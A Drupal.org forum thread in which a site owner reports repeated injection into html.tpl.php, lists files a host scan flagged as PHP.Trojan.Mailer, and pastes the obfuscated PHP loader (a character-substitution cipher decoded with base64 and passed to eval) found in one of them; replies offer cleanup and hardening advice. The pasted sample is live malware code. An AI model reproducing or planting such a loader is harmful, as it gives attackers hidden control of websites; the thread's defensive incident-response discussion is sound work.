Apologies if there is already a topic here that covers this. I searched html.tpl.php and received no result.
I operate 2 Drupal 7 sites with the same ISP. Both are completely up to date, 7.41, as are all modules.
Html.tpl.php is set to 444 and every day or so finds an obfuscated script added to it. I've notified the ISP, uploaded a clean version of the file and reset the permissions to read only. After some time, this happens again, but only to one of the two sites.
I question how much interest the ISP has in this. All suggestions until I persisted revolved around a clean install and suggestions of a compromised database. When I did demand to know what they were doing on their end, they responded with the following:
Did another quick scan and instantly was greeted with these results:
====
sites/all/modules/fontyourface/modules/fontyourface_wysiwyg/plugins/fontyourface/model38.php: PHP.Trojan.Mailer-1 FOUND
sites/all/libraries/ckeditor/_source/plugins/uicolor/yui/options.php: PHP.Trojan.Mailer-1 FOUND
sites/all/libraries/ckeditor/plugins/clipboard/template69.php: PHP.Trojan.Mailer-1 FOUND
sites/all/libraries/ckeditor/plugins/uicolor/yui/assets/proxy.php: PHP.Trojan.Mailer-1 FOUND
sites/all/libraries/ckeditor/plugins/uicolor/stats9.php: PHP.Trojan.Mailer-1 FOUND
This is what was in the model38.php file:
$vVADC6I = Array('1'=>'X', '0'=>'v', '3'=>'Y', '2'=>'P', '5'=>'J', '4'=>'S', '7'=>'t', '6'=>'x', '9'=>'s', '8'=>'V', 'A'=>'U', 'C'=>'Z', 'B'=>'i', 'E'=>'8', 'D'=>'6', 'G'=>'o', 'F'=>'T', 'I'=>'p', 'H'=>'k', 'K'=>'d', 'J'=>'Q', 'M'=>'b', 'L'=>'u', 'O'=>'z', 'N'=>'h', 'Q'=>'g', 'P'=>'j', 'S'=>'4', 'R'=>'D', 'U'=>'7', 'T'=>'f', 'W'=>'R', 'V'=>'I', 'Y'=>'q', 'X'=>'1', 'Z'=>'e', 'a'=>'F', 'c'=>'9', 'b'=>'K', 'e'=>'0', 'd'=>'M', 'g'=>'H', 'f'=>'2', 'i'=>'a', 'h'=>'O', 'k'=>'r', 'j'=>'A', 'm'=>'l', 'l'=>'5', 'o'=>'L', 'n'=>'C', 'q'=>'N', 'p'=>'c', 's'=>'n', 'r'=>'m', 'u'=>'3', 't'=>'W', 'w'=>'B', 'v'=>'G', 'y'=>'w', 'x'=>'E', 'z'=>'y');
function vRV1BGS($vYCB9JB, $vH6NKP8){$vP72P2V = ''; for($i=0; $i < strlen($vYCB9JB); $i++){$vP72P2V .= isset($vH6NKP8[$vYCB9JB[$i]]) ? $vH6NKP8[$vYCB9JB[$i]] : $vYCB9JB[$i];}
return base64_decode($vP72P2V);}
$vJJYPO8 = '5vaXKvNTpvaOpzjcVnVOCPAS3Fqrdvdf3fJy3fVldfCBqFjlqRHX3PpedFWN3BVUnQGH3fc9MuVQ24jBVfWr'.
'q4VUnBWHCtCNKt6e1faPKvm0MBjcVnKvit6mpeXNMBpUnBWHCtCNKt6e1u'.
'8OC8cNiraSVReQKg5XCF9b5vWmCraXMgWT3fNNpsqmKnjcVnK1itlHMuKOoFxzqFxshyGbJ'.
'vmLi8cOC1JG5f8zprcz1f60Czp9Fm8dFnHUnHwIMrmTpf8ebnK9MfKTC15zMu5O5zyybF9bJvmLi8'.
'cOC1JG5fXNZacmZv8PK1WIMflTKvm7C4p9dnHUnHwOC1WTKvm7C8c9itXIKn'.
'QybF9bJgqmKac73tKI3Xc6KtceC1qTps8LKvm7C4QybF9bJvWmCrmLC4Qs8Xq21XCaAmq5FeSsonjsdBSXoPxs'.
'bF9bnrmrbvKmKac73tKI3Xc6KtceC1qTCuwPbnHIVg9bVnjQVvCXMrqeitcLVaKFFuqeprmypf6Npf'.
'NmpzQH315z31HIVg9bVnjQVnjQVnwzC1WXprSQi1qT315z31HG5vazpra'.
'lb4j/Vvazpral1fXNpnQs8Xq2puWzi1wOMvaOiv8O5zyQ5vazpralb4jDVgqeprmypf6NpfNmpz'.
'QH315z31HIhyGQVnjQTJGQVnjQ5acJFXqAVReQ8Xq2puWzi1wOMvaOiv8ObnWTAxcF8nHUnBjQVnjH1eq2Fe75W4jcVaKF'.
'Fuqeprmypf6NpfNmpzQH1eq2Fe75W4HUnsebnrCXMrqeit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nwmM1we'.
'Z4QH1Xw2AXWM5fxs14HQbJGQVnjQit3Gi1qOC1JG5vWmCraXMgWT3tqeitcLb4jr5BwrKtlPKvm0MmcmZvmOKgdG5faP'.
'Kvm0MBpQoBjHCv8r3189KacN3uWIMfSIbJGQVnjQVnjQVnWTAxcF8a9s34KKVReQ5vWmCraXMgWT3tqeitcLhyGQVnjQC'.
't6OCJGQVnjQVnjQVnWTAxcF8a9s34KKVReQ5Xqm3emLCrEshyIICBQQVt87pgWlbnWTAxcF8a9s34KKb4jr5Bw'.
'rKtlPKvm0MmcmZvmOKgdG5faPKvm0MBpQoBjH1Xw2AXWM5fxs14HQbJGQVnjQ'.
'3fa9MacXpf8z1fCXMrdG5faPKvm0MBpQoBjH1Xw2AXWM5fxs14HUnr8Si'.
'1JU';
eval(vRV1BGS($vJJYPO8, $vVADC6I));I'm at a loss on how to stop this and would very much appreciate some assistance from anyone!
Thanks.
Comments
There might be a hack in the
There might be a hack in the database. It is more likely that there is a back door in the code (probably several copies of the same back door).
Whilst I doubt this is the host's fault, I would change the host in case the host is insecure. The likes of Pantheon, whilst more expensive than generic shared hosting, are far more secure. Your own VPS is more secure than shared hosting, but probably less than Pantheon or a good host, if set up with a bit of care.
If you have a clean backup you could restore that. Bear in mind that sometimes hackers place a back door then come back and use it later, so a backup from before the obvious problem started is not guaranteed clean.
Simply updating your code will not clean out a back door of the FilesMan type. Obviously the first step is to delete modules identified by the host as malware (of which name ckeditor and fontyourface) and put in clean copies. You could try using one of the services who specialise in cleaning malware from websites. Or you could go looking for the suspect files yourself. Or you could get a clean copy of Drupal core and and of all the themes and modules on your site in exactly the same versions (which should not be too hard if you have no custom code, and rebuild the site replacing ALL the code.
In case you pick the option of going looking for suspect file, once you have deleted or cleaned all the files your host is telling you are hacked, you really need to work on command line to find how they are getting in. You can start by looking for a file in the root directory which is not in a standard Drupal install. If you find it, open it in an editor and take a look. Find a piece of code in it which is a string not likely to be found on the site otherwise then search the entire codebase for further copies of the same. Frankly, the alternative of rebuilding the site from fresh copies of Drupal and all modules is probably just as easy and safer.
Hacked! module will help you clean infected files by looking for changed files. It will not necessarily find the back door, as it may not be a changed Drupal file but a non-Drupal file. You should definitely run a report using Hacked!
You say
well, cleaning a hack can be a time-consuming job, which is way too expensive to be viable for cheap hosting services. Of course you are entitled to expect a clean-up which could cost a few hundred dollars if you are on a quality service where that is part of the deal and your fees cover that kind of work. If you are at the budget end and you want to stay with the same host, and if the sites are on the same account, you could at least invest in a second account and split them, then see whether both get hacked. If they are on the same account then the hacker who gets into one can access both, whereas if they are on separate accounts, probably not.
Another thing to check is whether the hacker is constantly logged in to your site. You can ensure he / she is not by truncating the sessions table. Also check for any user accounts you do not recognize and cancel them.
I am guessing it is a common code hack. It could be compromised server or database instead (or as well). There is more, and more authoritative guidance here https://www.drupal.org/node/2365547.
At your end. don't log in on unsecured / public wi-fi; and don't work on a Windows machine unless you know it is securely updated, with virus checks run etc. Watch out of easily guessable passwords (you have changed your password, and that of any other admins?).
I am aware the answer is rather bitty - it is hard to give an answer with any confidence without looking around.
Best of luck.
Digit Professionals specialising in Drupal, WordPress & CiviCRM support for publishers in non-profit and related sectors
Very sorry to hear of your
Very sorry to hear of your experience.
Don't forget to check your libraries as well as modules - I had a bitter experience with plupload earlier this year.
If you're not confident you can clear this up yourself, I can recommend SiteLock - they're "one of the services who specialise in cleaning malware from websites" as @John_B mentioned.
============================
Resonetrics: Better Tools for Building Brands
http://resonetrics.com
http://technologyformarketers.com
http://kittenassociates.org
http://www.linkedin.com/in/sammooreatresonetrics
Thanks for the heads up about
Thanks for the heads up about SiteLock. Not sure whether OP will find the prices acceptable: there are no prices on the site. There again working by hand can also be expensive and possibly not as good. As a Drupal + Wordpress support person, I have seen a few hacks this year, but in every case it was Wordpress or a Drupal site with a Wodrpress site on the same hosting account / Unix user account.
@tschewe that reminds me - if you have a Wodrpress site on the same hosting account as the Drupal site, suspect the hacker is getting in via Wordpress.
Digit Professionals specialising in Drupal, WordPress & CiviCRM support for publishers in non-profit and related sectors
Thank You.
I will see what I can do.
I do have 4 separate sites with this host and only 1 is having an issue that I am aware of. I do all my work from a Linux box at home so I am hoping that it didn't come in from my access.
CKEditor was involved in this as well, so I will get busy with a code replacement and see where that goes.
any updates on this?
any updates on this?
I am having same issue: html.tpl.php is being hacked everyday (not 100% sure how quick it is hacked or if it is at a specific time or interval).
My understanding of this is as follows:
Site is made up of 4 pieces:
- code (core, libraries, contrib, etc): for us; this is stored in SVN
- db
- files
- server
As our code is in SVN it makes it very easy to see what files have been tampered with. It also means that all code came from its original source (the code is committed to SVN repo only from local dev system which is created from original files only; i.e. server files are never committed to repo)
This leaves 3 possibilities for the breach. Host firm is looking in to things but unlikely they will make any progress.
We took over project part way through and have done many updates (including all security code updates); but these are over top of the existing db; so this may be an entry point.
Also, /files folder is not in SVN and again, this contains legacy files before we took over project.
Wondering if anyone found similar problem and tracked it down to something like code in db or in /files file, etc?
Peter Lindstrom
LiquidCMS - Content Solution Experts
At the very least, make sure
At the very least, make sure your /sites/*/files folder(s) have .htaccess that prevents script execution in those directories.
Something like this:
============================
Resonetrics: Better Tools for Building Brands
http://resonetrics.com
http://technologyformarketers.com
http://kittenassociates.org
http://www.linkedin.com/in/sammooreatresonetrics
There is probably a backdoor
A guess from experience at the coal face, if you want to do the work yourself rather than hiring one of the firms who run malware scans:
There is probably a backdoor somewhere on the server, and most likely under the same account. If you have a Wordpress site on the same account, that is the first thing to suspect. However, once they are in they often put a copy of their file browser in all the document roots on the same account.
Therefore, as well as checking any WP site on the account, check all sites on the same account. Look out for a back door file within the Drupal file system and all other document roots where the site is running under the same user (if you have hundreds of sites where Apache running as mod_php on them all you are in deep trouble - but that is rare!). Often the hackers' file browsers have names like rss.php or feed.php which look innocent. Often you can find them with ls -lt or some find command to look recursively for a file added at an odd date, because some hackers do not bother to reset the date on their files (but some hackers do cover their tracks this way).
If you find one hacker's file browser, assume there may be multiple copies of it scattered through all sites on the same hosting accounts.
Maybe SVN would not notice if a file has been *added* rather than tampered with? These back door file browsers are the normal bread and butter of hackers. When you find one and open it in a browser you realise that the hacker had free rein of the site and of all sites on the hosting account, though usually they do not simply delete the site.
You are also looking for unexpected eval base6_decode using grep.
There is always a chance the issue is the database, you could look there for that too, and for file_put_contents(). Generally I have found the infection is in the codebase so I look there first.
Digit Professionals specialising in Drupal, WordPress & CiviCRM support for publishers in non-profit and related sectors